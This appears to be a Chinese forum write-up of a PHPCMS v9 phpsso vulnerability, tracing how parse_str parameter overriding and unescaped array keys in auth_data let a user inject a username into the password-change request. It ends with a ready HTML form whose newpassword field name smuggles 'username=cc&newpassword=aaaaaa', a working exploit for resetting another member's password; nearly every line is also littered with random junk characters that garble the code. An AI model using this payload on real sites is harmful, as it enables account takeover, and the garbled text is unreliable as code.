提到的通行证的代码:: G; A8 r8 ^1 `7 g" t; I
2 z* r2 ?& H: R0 q. c3 c4 t8 v
! i! g5 R$ g: Fparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);: c3 G% J% s5 o2 C- U1 J& j
) x# A6 E! e* Z8 x5 s g
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
`" Y1 e# P# k+ q9 c
2 K0 D. |6 q: w我把它留给了你们。/ |) C7 A6 ^ i7 Z( K( G- w
不知道你们发现了它没有。& ^% V5 {: J+ g( p" e# j
" v0 N8 |) Q5 L1 C0 ?1 F# w1 X
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。3 f0 l. j2 }1 U) h3 H2 u
5 N+ ^2 A) `; @
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。. }6 Z* s# v2 ?" A; a- U
$ ^6 y8 F7 e; J% K. j" [6 ]) M/ v$ _# f
也就是
# M& m' N$ V1 ]* \- G9 i; N
; I+ [* H3 q. musername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。4 ]+ ?: t' q" J- y. C
0 S. [% U8 k6 a+ g: n9 x
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
& `' T! a0 l. D0 X. p0 G, S- h: {" S9 E* e
# @: @6 z& U. b/ J
其实我们有这样的机会,看看代码,如下:5 O7 |3 e5 @- S. l; R# I8 y
0 V0 s. ?9 N8 v+ l: x, O
0 l8 g- V3 f; d& U3 _9 i3 npublic function auth_data($data) {# {/ _4 C5 ]# }' E
$s = $sep = '';
! E" Y. u4 D! U# P4 B foreach($data as $k => $v) {
/ b5 x2 K) X; a/ f: V7 B( B5 V if(is_array($v)) {/ B' g. h( h% e
$s2 = $sep2 = '';
+ @/ T! ]& d6 W. B# u foreach($v as $k2 => $v2) {
* A( H, U9 w2 t/ |8 K $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);+ V* M% ~5 P& k* @: ~
$sep2 = '&';. j% y! {8 F" {* q6 ^$ _) n% O
}8 A4 w* J) A' L, T% A9 M
$s .= $sep.$s2;
8 M: G! e7 ?' w; Y# a+ r) N' _ } else { c: Y; J0 ~; f! B; o9 t8 P/ E
$s .= "$sep$k=".$this->_ps_stripslashes($v);2 i, O% r) r' m0 U
}; G7 f6 ^! ?& F0 E |2 Q
$sep = '&';: W! z- K4 B: [0 J/ @
}
! z, H, D% @9 v; N) p4 u3 Q/ \. M" f: G( x
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));) x# g$ l& ?! j$ S
return $auth_s;
! C9 ?( b) \; k- m" J& p) h }$ \* y( C% o2 U0 O) k
) \' Q) b! B" W5 d# O0 k& v0 V
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
# I' h/ O6 C. L
' q( ?& b; L5 V/ {2 o举个例子
+ }! Z4 f1 C: r$ [) i! }2 i* y9 [" Q) a
$a[aaa=a&bbb] = 'a';+ s1 K9 @4 x# Z+ s3 B6 u
' r' Y) Z1 H6 S: F5 w9 F& M
会变成aaa=a&bbb=a
- l/ B, I; E5 o
" O7 R# C* f- J- y7 O: ^/ Y* |明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
/ }& Z/ Z B c/ s
9 x% | k% @" ] i# b这个时候,我们可以再去看一个函数。( C G7 h: w. m- I) s0 n' F& ~. z: B' S
) K4 J% [) M# d* C7 m就在这个文件内:8 R. m% }2 M. r0 M- o0 S1 _
; |9 w5 K. r. }* `; M
' {% K, ~; @3 Q3 u8 h+ C% T
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
0 U" h0 Q) m# n0 Q3 V: n if($email && !$this->_is_email($email)) {
7 J& e1 `/ e+ k return -4;
- c1 i4 e0 z- n- ]! J3 A }
$ x* ~3 [& z- K. i9 I return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));; q3 I9 C& H2 Y r/ l% f+ B
}
+ I' R I1 S6 K- J
7 W5 c) e& [2 C" T这是向通行证发了这样一个请求。) }7 b# f& J7 `. {) X: c
) p. s& `. b1 v0 C6 |1 F& I3 b
我们再跟到通信证代码里去看看,就会有所发现。3 Z. E1 S c, J" d! [/ J
8 R' g1 n' A" E/ }3 T
" b4 ^# e- B6 I+ V4 |* K8 J( g2 d- apublic function edit() {
: A: q, R4 R" F7 }9 W//能省就省,太长了不是吗?
9 T: k- I- W6 A5 C2 `; m- r$ [2 F# | Z9 F3 P/ ~2 ]6 K
if($this->username) {
4 k( d+ W/ F. |) W- M; ~, n U//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
5 W8 \9 n* b+ `9 C, ^ $res = $this->db->update($data, array('username'=>$this->username));2 L# d- I. v: b l# {7 Q; C$ C
} else {7 B/ U% n5 s/ m3 K/ }% k' V
file_put_contents('typeb.txt',print_r($data,1).$this->uid);8 J, A3 @: ]; R- x' v0 H8 K: I
$res = $this->db->update($data, array('uid'=>$this->uid));. w; c/ e @* ^3 F
}
$ O) L* W) E0 \ Y' v9 e' m2 s6 w" O ]0 D
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
0 |0 ^( d# J, a4 |' O' X( H7 \. C; f3 _
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
- d9 [3 N6 n4 s# k& S. \( r/ s
# s# K2 u- Z) c很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
' [% {4 T. h O* I2 z( Q) ^2 E' K0 b" x4 G1 u3 n7 z
我当然找到了:
: i$ e( X/ w `. r# p+ M Vphpcms9/phpcms/modules/member/index.php
! O- d M" P5 o9 g+ H$ I" }/ M
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
8 l6 A \) L( H1 X
& q6 P+ Z; F& o然后就没有然后了。' S% w4 t$ H% W- r
& N% g4 [ m3 a8 r. [<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">' C0 Q3 u. J! U/ I9 k: w, e" J2 @. D
<table width="100%" cellspacing="0" class="table_form">
" k' A0 B& o+ b8 Y3 g <tr>
' w) Y1 K7 r9 ` <th width="80">邮箱:</th> , K$ I, E( L- s( Q; M
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
: {9 j' d9 }8 f </tr>& R( d5 y; R' w4 P9 R. Y
<tr>
7 X7 {5 h2 {. O* H( T9 C/ X <th width="80">原密码:</th>
, l2 T W: I0 ?% i( }' ^2 n# o <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>$ b% |; s( P1 Y* h: O {$ e
</tr>
0 w9 [8 [# o! Y( e <tr>
. [; ~/ W) i$ ~ <th>新密码:</th>& N; B6 |& X+ v* u$ ?: }3 z K
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>) A! X2 ]" F" F1 O
</tr># \! x" p% I- s' `; S( T
<th></th>
5 J" ^) @. f9 Y6 X, K' q <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
5 Z1 k, H0 l! Z0 j7 h6 m/ M! F/ y' k </tr>) E1 Q) }( V D' Z
</table>: ?4 u* J; C9 k% k
. j6 k2 y4 i8 ^/ i1 `1 l' F+ ^, W # Y K; F5 F( B9 v
</form>
9 U; \1 O3 F5 n! @; o |